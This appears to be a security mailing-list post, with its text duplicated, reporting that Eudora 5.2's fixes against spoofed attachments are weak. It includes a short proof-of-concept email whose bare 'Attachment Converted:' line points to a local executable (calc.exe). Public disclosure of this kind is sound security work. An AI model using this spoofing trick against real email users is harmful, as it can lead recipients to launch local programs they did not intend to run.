Qualcomm Eudora 5.2 has been released recently. Quoting from
http://www.eudora.com/download/eudora/windows/5.2/RelNotes.txt :
> Added checks to prevent spoofed Attachment Converted: exploits.
> ...
> We now guard against exploits that rely on local file refs (using either
> fixed paths or relative paths). On by default and controlled by
> <x-Eudora-option:RemoveSuspiciousLocalFileRefs>.
Those fixes are not very robust. Attachments can still be spoofed, e.g.
with message:
MIME-Version: 1.0
From: me
To: you
Content-Type: multipart/mixed; boundary="xyz"
It does not seem to matter much what MIME boundary we use,
a "bare" spoofed attachment line is NOT prefixed with #?
Attachment Converted: "c:\winnt\system32\calc.exe"
Never mind that the text comes out all funny...
Any other tricks we can play?
Cheers,
Paul Szabo - psz (at) maths.usyd.edu (dot) au [email concealed] http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
http://www.eudora.com/download/eudora/windows/5.2/RelNotes.txt :
> Added checks to prevent spoofed Attachment Converted: exploits.
> ...
> We now guard against exploits that rely on local file refs (using either
> fixed paths or relative paths). On by default and controlled by
> <x-Eudora-option:RemoveSuspiciousLocalFileRefs>.
Those fixes are not very robust. Attachments can still be spoofed, e.g.
with message:
MIME-Version: 1.0
From: me
To: you
Content-Type: multipart/mixed; boundary="xyz"
It does not seem to matter much what MIME boundary we use,
a "bare" spoofed attachment line is NOT prefixed with #?
Attachment Converted: "c:\winnt\system32\calc.exe"
Never mind that the text comes out all funny...
Any other tricks we can play?
Cheers,
Paul Szabo - psz (at) maths.usyd.edu (dot) au [email concealed] http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
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